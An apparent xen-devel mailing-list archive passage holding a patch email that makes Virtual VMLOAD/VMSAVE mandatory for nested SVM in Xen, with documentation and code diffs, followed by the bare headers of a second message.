Stephen


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 03:03:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 03:03:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377009.1623339 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpH3K-0000Y7-6x; Thu, 30 Jul 2026 03:03:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377009.1623339; Thu, 30 Jul 2026 03:03:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpH3K-0000Y0-4M; Thu, 30 Jul 2026 03:03:22 +0000
Received: by outflank-mailman (input) for mailman id 1377009;
 Thu, 30 Jul 2026 03:03:20 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <stephen.cheng@citrix.com>) id 1wpH3I-0000Xu-B9
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 03:03:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpH3H-00G3XI-0l
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 05:03:19 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <stephen.cheng@citrix.com>)
 id 6a6abeef-e002-0a2a0a5209dd-0a2a4509e2be-22
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 05:03:18 +0200
Received: from [52.101.61.53]
 (helo=DM1PR04CU001.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <stephen.cheng@citrix.com>)
 id 6a6abef5-be1a-0a2a45090019-34653d35f0a0-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 05:03:18 +0200
Received: from CO1PR03MB7889.namprd03.prod.outlook.com (2603:10b6:303:275::14)
 by MW4PR03MB6618.namprd03.prod.outlook.com (2603:10b6:303:129::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.14; Thu, 30 Jul
 2026 03:03:13 +0000
Received: from CO1PR03MB7889.namprd03.prod.outlook.com
 ([fe80::2d02:5605:87a2:6767]) by CO1PR03MB7889.namprd03.prod.outlook.com
 ([fe80::2d02:5605:87a2:6767%5]) with mapi id 15.21.0270.009; Thu, 30 Jul 2026
 03:03:13 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=pLXyma42BoVdXdlSgXiY/zqLBacL1MfNvw5vMwBRUSbHWpDs4lvoyooVELS8VF+RkNhsOP1otp+v3ovLuERVtIbPaNYVMSmNcJLQKtatjgxNE8ZSQ9G4HrJOfHbJaN1PjSRNR2beRtUtnmD3VQfliUIlelPJcTM0GjKzEmoy7q6Ofhb/Mcg4XouPWOzkW39WL8LywiEx6qMFw99LPBj6SZFjGMda2aZtACmg1aJNpcvIGmuRG6DbJQaed5TAfOnwAU0on/oOtLZDsOeC2pcrig0eK6831cFKHh3jvdvXbwIN2VxCWtl3WFF8INtHuZqNqUhMWv2xH4xdSNaZgW9wfQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=thUNhPVrSqsh39u30ukzZsaD61bWiNYS6JsEfE/vAZQ=;
 b=x4rLK1jfFSDwGP1uxtxa5xblM7awvemCeax37bWWkMMq1hpicuagwCT8sOj7W/Ore6nK+IEKx4n55rrIC3TFuDEscau6mw+fipIqnJNXn45VZzRzGiQZvq0eUbLRQW2zWke6zEcqemNmOhfO2SxS9+fXYeegsX/Nx9KjAYNd4eL67gD/0JojQZ1t9zxavVSEKcfDK7pPJfheJ9TZqeSB8/AgSJbPBzP7aLM2KrJqEnt39zWs5flpoihERkTwqgFJShudVOa7a7h7SK4u4UVfSpN9xU+mLuDj9dqj9GwveKRXhHxhYELGvdJQllqdxCNK3ZTlKCaajsLiEeFlBNiMyg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=thUNhPVrSqsh39u30ukzZsaD61bWiNYS6JsEfE/vAZQ=;
 b=gMdupJuqYhukGUfECaiqvVHiJpzLLW501ej5er3WkkRsJsop4zU5ABWhc67HqMOpJ4CE/3Be9TIxHuy9IpehiENv3LSJDTyJSA7nvyPjoM1LgaYoxYlqJf6qJl86SlmF60wO37CFdSnB9nV9khq5fifw/uKgk8ddPTioL9ND23c=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
From: Stephen Cheng <stephen.cheng@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Ross Lagerwall <ross.lagerwall@citrix.com>,
	Stephen Cheng <stephen.cheng@citrix.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Jason Andryuk <jason.andryuk@amd.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH v2] x86/svm: require VMSAVEvirt for nested virt
Date: Thu, 30 Jul 2026 11:03:03 +0800
Message-ID: <20260730030303.71388-1-stephen.cheng@citrix.com>
X-Mailer: git-send-email 2.49.0
In-Reply-To: <20260727071709.196088-1-stephen.cheng@citrix.com>
References: <20260727071709.196088-1-stephen.cheng@citrix.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: JH0PR01CA0018.apcprd01.prod.exchangelabs.com
 (2603:1096:990:5a::18) To CO1PR03MB7889.namprd03.prod.outlook.com
 (2603:10b6:303:275::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CO1PR03MB7889:EE_|MW4PR03MB6618:EE_
X-MS-Office365-Filtering-Correlation-Id: 61e57dca-7892-4166-ab38-08deede7185e
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|376014|1800799024|6133799003|56012099006|5023799004|11063799006|10067099003|3023799007|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	GeM7jn9Cys63dWvYkywqAKlV3SIgMlFgyTfkhd5FB8TjU7WKgXQkfph+FmaLzVtqcPlZh17YPWjDw/mKkJFX/F7l4VN64Kg+AUzNExmmz68a9CzUiwKT0kEdks0akXv+wpdBle7hBkCfQAu5FyM10JvznBef36MPqjQeRB9I6lwwcOmOdNAc4Ewod8VEMORheqFHqACvEprmLZ/kKn5stCVJT6Gy7ohH9uoUaPn5QLkaOSBE1vaKtZny8NsjC4hTBvwVOLWS9CFv/goRHRVR40Wq6u2UHfWgejbv42wOxUc2Hd6U+EXPzjuGE6xAPOGlYe3X266cAzCLyvDL5Aeee6CSHWrZDzCTBgWlDeDi/LIVJhawfVO4VqVrHXG1hGSHuZGiOpcyUqFwTLY4tSf2Lm5RYLarZnEcPEQ4NXGauvtx2wHpm7462UvWtg+x/ZHn6dwcIqH8uN6S20enqMk4OrJuk+FmXqC27U5IO5mqMIPofHqZ8AlMq1Rttas9IP3F1VfPHpxYkTg03+KBh7ombza0PEIsp6CZObXCHTCjUrBfZ1ce3RecbUjCegVgszdcD7UIHrmlCk454H0ta8R+Z2cLOzz9Pl5tRoMWWURe4sK1M6bb9K+qiZRV6ENn1+sFU+tUfu8Q9rCkuyczV2QiRQ==
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CO1PR03MB7889.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(376014)(1800799024)(6133799003)(56012099006)(5023799004)(11063799006)(10067099003)(3023799007)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?P9v+Ttv4HRuPj5w7J4gQbptEJU3diRsLpi1TbPIki6P8saVK2C0yp2HTBIPg?=
 =?us-ascii?Q?KEcUa+o6abBcKBzYabDNiPTMVWtfXHVsEEgA/4UaqFlFVle3RrDdJAI7fqBn?=
 =?us-ascii?Q?khJ1QcbMb5rzFQD8vN2/gA+ZKa9jn32UYCPHzk/5CsWd/oTAOggSEWQsskAw?=
 =?us-ascii?Q?NQzb8kcpFGC231SRdDe3HyoLU2AZMA3mgUDpFofSJQYnpC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VbXm62o5KR?=
 =?us-ascii?Q?Km8R8g3oVERU77io52qNPh4xiU2M0Ib+dDWQDFE70blvDeH9y4ujfDMCqtFO?=
 =?us-ascii?Q?kAWbkAjwSXfAcaUp9Ro6QBbJvmDtNrEMkV/1bPzRpnGomldoXJECKG68KWs8?=
 =?us-ascii?Q?Fp1LqVKZFY+ocmfv22h0GD0zZtBw4zVlj7/1Wf7TJ/SloNyBIEPtnDPy3cIE?=
 =?us-ascii?Q?pFrsfMOpAsvVEwFHcJkGD3D80CP1D6+tLlZ6SvBFHKaa8jc1LRX2esXcbCx5?=
 =?us-ascii?Q?Cxfz7N/NAD7u/cZ+BPV/U1AAGovRktQPX3lvJiwqmWgvsvPEdK5vLj4umTrb?=
 =?us-ascii?Q?fGRJdedqEv/iOblt9uLHBI2SkjWqSU8jYA9gL/Qkv35HVOiABcQ9fs+wsTXy?=
 =?us-ascii?Q?zMwyuKgCNbsR9dnusTq+/JAKeIxCwtPfpQHhNmg2VeAg5mQ16jMWzRazsFKF?=
 =?us-ascii?Q?jd4ej5sh4N7xdcq3/lan8y/fwR6m9NFP3sVm0Llo7dmGA8UjvV29cmGlhkHa?=
 =?us-ascii?Q?f8Lo6YCjK1Naus4a5p6X4kEQP6EVdKmeSxcBldN5DzqIZXp61IGBLatFEiM/?=
 =?us-ascii?Q?mtIYvQsnQDOsL8K8NPAoQeZ3RC6hIKDmExT0lW7EP97CzgCVdFzf3hWIu2Mu?=
 =?us-ascii?Q?vuArL9MKFl3N109vSyMrO5utVPH13B58f13eXroH6/Zc6RvWLAY3688Temla?=
 =?us-ascii?Q?QKvWxnf0Fw=3D=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 61e57dca-7892-4166-ab38-08deede7185e
X-MS-Exchange-CrossTenant-AuthSource: CO1PR03MB7889.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 03:03:13.7943
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: jeqQdXbFnlw9zQdwa9hfiimex0Iuk6g9Ai7FGyM9CJrRa/9HTSKcL1HsTWlf1FUhWnWNRzanMgWHnXJRWa27S/tXQtE0kCuLpakpl7W6K8s=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW4PR03MB6618
X-purgate-ID: tlsNG-bad1c0/1785380598-FD86F034-3FB9DC71/0/0
X-purgate-type: clean
X-purgate-size: 4262

Virtual VMLOAD/VMSAVE lets an L1 guest execute VMLOAD and VMSAVE
without intercepts.  Without it, Xen has to map the L1-provided VMCB
and re-execute each instruction in L0, handling a complex,
security-sensitive subset of state on the way.

Make VMSAVEvirt a hard requirement for nested SVM.  The
cpu_has_svm_vloadsave test in svm_nested_features_on_efer_update() is
then redundant, as nested virt now requires the feature, and is
dropped.

Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Stephen Cheng <stephen.cheng@citrix.com>
---
 docs/designs/nested-svm-cpu-features.md | 17 +++++++++++++++++
 xen/arch/x86/hvm/svm/nestedsvm.c        | 16 +++++++++++-----
 2 files changed, 28 insertions(+), 5 deletions(-)

diff --git a/docs/designs/nested-svm-cpu-features.md b/docs/designs/nested-svm-cpu-features.md
index ce168e68e1..eed40a958c 100644
--- a/docs/designs/nested-svm-cpu-features.md
+++ b/docs/designs/nested-svm-cpu-features.md
@@ -109,3 +109,20 @@ leaf 8000000A:edx
   Using it in L0 reduces the chance that we'll make some sort of error
   in the decode path.  And if hardware supports it, it's easy enough
   to provide to the L1.
+
+- 15 `VLoadSave` *Virtual VMLOAD/VMSAVE*: Require for L0
+
+  Without this feature Xen has to intercept the L1 hypervisor's VMLOAD
+  and VMSAVE instructions and emulate them by re-executing the real
+  instruction on a mapped copy of the L1-supplied VMCB.  That path
+  handles a complex, security-sensitive subset of state (the hidden
+  segment descriptors for FS/GS/TR/LDTR plus the SYSCALL/SYSENTER
+  MSRs), so on faithfulness grounds we'd much rather let the hardware
+  do it.  When present, the instructions execute natively in the guest
+  without a #VMEXIT, which is both simpler and faster.
+
+  Whether to provide it to the L1 is a separate question, deliberately
+  left for a later change.  It needs care over whether an L2's
+  `vloadsave_enable` should follow L0's setting or L1's, and over what
+  should happen if L1 leaves the feature disabled without intercepting
+  VMLOAD/VMSAVE.
diff --git a/xen/arch/x86/hvm/svm/nestedsvm.c b/xen/arch/x86/hvm/svm/nestedsvm.c
index b06124c2c9..96de03a5ec 100644
--- a/xen/arch/x86/hvm/svm/nestedsvm.c
+++ b/xen/arch/x86/hvm/svm/nestedsvm.c
@@ -562,7 +562,10 @@ static int nsvm_vmcb_prepare4vmrun(struct vcpu *v, struct cpu_user_regs *regs)
 
     /* Keep the host values of the fs, gs, ldtr, tr, kerngsbase,
      * star, lstar, cstar, sfmask, sysenter_cs, sysenter_esp,
-     * sysenter_eip. These are handled via VMSAVE/VMLOAD emulation.
+     * sysenter_eip. These are not transferred by VMRUN/#VMEXIT; they
+     * are moved directly to/from the L1-provided VMCB by the guest's
+     * own VMSAVE/VMLOAD, which run natively (VMSAVEvirt is required
+     * for nested virt).
      */
 
     /* PAT */
@@ -1097,7 +1100,10 @@ nsvm_vmcb_prepare4vmexit(struct vcpu *v, struct cpu_user_regs *regs)
 
     /* Keep the l2 guest values of the fs, gs, ldtr, tr, kerngsbase,
      * star, lstar, cstar, sfmask, sysenter_cs, sysenter_esp,
-     * sysenter_eip. These are handled via VMSAVE/VMLOAD emulation.
+     * sysenter_eip. These are not transferred by VMRUN/#VMEXIT; they
+     * are moved directly to/from the L1-provided VMCB by the guest's
+     * own VMSAVE/VMLOAD, which run natively (VMSAVEvirt is required
+     * for nested virt).
      */
 
     /* CR2 */
@@ -1548,8 +1554,7 @@ void svm_nested_features_on_efer_update(struct vcpu *v)
     if ( nsvm_efer_svm_enabled(v) )
     {
         if ( !vmcb->virt_ext.fields.vloadsave_enable &&
-             paging_mode_hap(v->domain) &&
-             cpu_has_svm_vloadsave )
+             paging_mode_hap(v->domain) )
         {
             vmcb->virt_ext.fields.vloadsave_enable = 1;
             general2_intercepts  = vmcb_get_general2_intercepts(vmcb);
@@ -1607,5 +1612,6 @@ void __init start_nested_svm(struct hvm_function_table *hvm_function_table)
         cpu_has_svm_lbrv &&
         cpu_has_svm_nrips &&
         cpu_has_svm_flushbyasid &&
-        cpu_has_svm_decode;
+        cpu_has_svm_decode &&
+        cpu_has_svm_vloadsave;
 }

base-commit: 644ea6f84510af27ee1847e981df945a94068479
-- 
2.49.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 06:16:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 06:16:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377123.1623349 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpK45-0003q9-25; Thu, 30 Jul 2026 06:16:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377123.1623349; Thu, 30 Jul 2026 06:16:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpK44-0003q2-Vc; Thu, 30 Jul 2026 06:16:20 +0000
Received: by outflank-mailman (input) for mailman id 1377123;
 Thu, 30 Jul 2026 06:16:18 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wpK42-0003pw-1Q
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 06:16:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpK3y-007mtO-OS
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 08:16:14 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a6aec13-bab6-0a2a0a5309dd-0a2a4503be8c-48
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 08:16:14 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a6aec2c-fae8-0a2a45030019-94a392173584-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 08:16:14 +0200
Received: from pps.filterd (m0482516.ppops.net [127.0.0.1])
 by m0482516.ppops.net (8.18.1.11/8.18.1.11) with ESMTP id 66U3c3Le3666914
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 23:16:12 -0700
Received: from ch5pr02cu005.outbound.protection.outlook.com
 (mail-northcentralusazon11012002.outbound.protection.outlook.com
 [40.107.200.2])
 by m0482516.ppops.net (PPS) with ESMTPS id 4fqprb4x0g-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 23:16:12 -0700 (PDT)
Received: from BY3PR10CA0002.namprd10.prod.outlook.com (2603:10b6:a03:255::7)
 by LV8PR16MB6671.namprd16.prod.outlook.com (2603:10b6:408:258::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.14; Thu, 30 Jul
 2026 06:16:09 +0000
Received: from SJ1PEPF000023CE.namprd02.prod.outlook.com
 (2603:10b6:a03:255:cafe::41) by BY3PR10CA0002.outlook.office365.com
 (2603:10b6:a03:255::7) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.13 via Frontend Transport; Thu,
 30 Jul 2026 06:16:08 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 SJ1PEPF000023CE.mail.protection.outlook.com (10.167.244.10) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.292.8
 via Frontend Transport; Thu, 30 Jul 2026 06:16:08 +0000
Received: from pps.filterd (m0426317.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66U3e4nY1848433
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 02:16:08 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [3.215.31.156])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fnc7qdp2n-20
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 02:16:07 -0400 (EDT)
Received: from localhost ([19.12.92.222]) by cmsmtp with ESMTPSA
 id pK3pwTDm1VWzXpK3qw7tlk; Thu, 30 Jul 2026 06:16:07 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:message-id
	:mime-version:subject:to; s=ppford; bh=sjCjhJ26VF+1qPOCp45hylXgx
	WwgLMWRt5jQ8dGvmEg=; b=rqmz1n1HmL49s4KAffZzjV/j2uUuBVFcQtM4rBgEI
	YAC8cYPKxFKpzF6zsPloXq8teh6Zz5MbloOIWRNB/F7zv2ck2IQe192j8maqDaTU
	cAFxbjCXTY9SEq8qM5BPCHLozKg6d1+ir8nTNkuN8xrfZ7CLIqLDRTq7AmVp+WiW
	IIkwtViJReqZ8ihN7IdK+GzQmJ4dYXng4BDt5OBfcon4Ywh4eMyZr9TSBmEtlPl1
	WLP3qMkx4KOY3tPNv7bh4YDRRrpeSK2RJ6OLp98tfnTeNuVZLF8mwrBIs/IOqBk+
	Kw0XNqQ3dc+J4ilY1GSvyrnb9Pd5z+df2BWp7kLFqMgSQ==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Uw+q38XXP6FAUPrVJqVonnO20kUzJYNHR+4QKcxSm+7g3aIAG9Xuhhve72ocMFTATO07+HY5/PejaQ7+Syotghz9zUFb3d0B4kTq/5o6RGw1tPRvwTwPHwkP08WcZF7D4i/h2sh+JdvxYHcag0er3TTnf9ZLvTIgmkbs1QA5T2+8w02wQ3GAsBbhRmRZbvmpOfVr1E9nlbRvzP6M1cUiKnu6lXriyEoTcmeh3Lukyv4I2WcUPRhNWUUWDXBu582R61wWGEHwjW3dUGOqZ4+0/wCpu/t/kNYYsfbAAAzU2VoM6Tw8APq53hz+tlOiep08DboKScGQT4Xw1t8BV8zw8g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=sjCjhJ26VF+1qPOCp45hylXgxWwgLMWRt5jQ8dGvmEg=;
 b=XY84uD8Z1HwuhbyMXzT4i4wWjI/JkZR4mO4Ys/JsXmWnUHRxx3DrfFXttA7ufPaRa46PHf6RBy1zV5CL3feZeGY7YNmhfMwqyhLTMc5OQKNcHbwGW9n9k6rWRGJv9I268v8UzH0jphxWofSqqsrToE6sxc6+V0/5RnVtkwG0lz7I9AnDcybNgEXZQv63fbm6E4zLbeJIfNhncasqgvc1RzfwKua0SwFHzhuc0xV+0jr07w0pg/iJ+UZrmGass02BfoIj+AJG+8ZGMArtZXt6J19TtdOgmmko/GuXtGwG9S+SA7y1O1NYo4D80HTz1ESD7pFfv5FkM4264wxMBsOgYA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=sjCjhJ26VF+1qPOCp45hylXgxWwgLMWRt5jQ8dGvmEg=;
 b=K0xT+7POKfIn/wqf6YmymetUjXHyRvzPGIGHBXLNiuYe75dxJgemJVLunaTP3uhUBGq4WgzxG3ceDzBQtv87rJIbuamPDtvp0hm1fkxofx/484SbifFJ5eTRZLa/+jSIhdm/3/U7mXaG0c/d9oRSrgR1ukd7YdiVn1eZaLDyWZ0=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:message-id:mime-version:subject:to; s=ppserprodsaar; bh=sjCjhJ2
	6VF+1qPOCp45hylXgxWwgLMWRt5jQ8dGvmEg=; b=ofi6NNeCdDk64Di1CQXOdrY
	ob5VUUZuI5tveD2UHw+EjO/tXhP3XXvBvOHLtbAPFBEUliyXc79Lof14ukyK62dd
	thUIWEvHKyzpl9zUzCUMMKDJ3LVeeBiKI7OkdcfJ71FYuN2Iczzt1fV3xC36jDyG
	MuYmz4eoCxvcTdq9vkcAU6dKY27p60dZTFECeouEL0cGUPAulEntSz4QevIlR162
	U5lUFwBXchiQ+U9XJ6CBtkr6XNOjsm+p8JyQsk3OCEeyOAKp9X10deVbOkc8r86M
	/Ty6ZV88LEMMlLQh/73xTch9OJa9q9TVqU4PJDvEpK06cIzJVRSfyjrT9fJPwgQ=
	=
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:message-id:mime-version
	:subject:to; s=ppfserpocford; bh=sjCjhJ26VF+1qPOCp45hylXgxWwgLMW
	Rt5jQ8dGvmEg=; b=uto4mExHIhQAnatZtqifB5Tii9WJa31vo8ZLKYRNMvqm1aQ
	B+hCDDDP0EjK0QODWW1PpEuYcTG6hXWYqzuzSq3y2bLxiwkB6NPAL8lCZu5jSGuP
	5F8/IlG2O5zu18xgzh1hHdRGKbl4JBQ3wjsp/A6XfcHZfQUxHr7ngmJHwEnntnu7
	c81yQRQcGyEWEgNVFBahL00dija/pSr86K0H1TdfUAzWsk7ZAOuyniwak3Bhjsgm
	dYs/zS6DobL5hDHJPed7Fwl28oyuoIl2I0AhadMvnGeBdDHHjrIqqNr9ffI9MCTj
	j69s/2h0Vu1zQIJR8WYm4+zL3hljvhdci4u3kig==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: pK3pwTDm1VWzXpK3qw7tlk
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
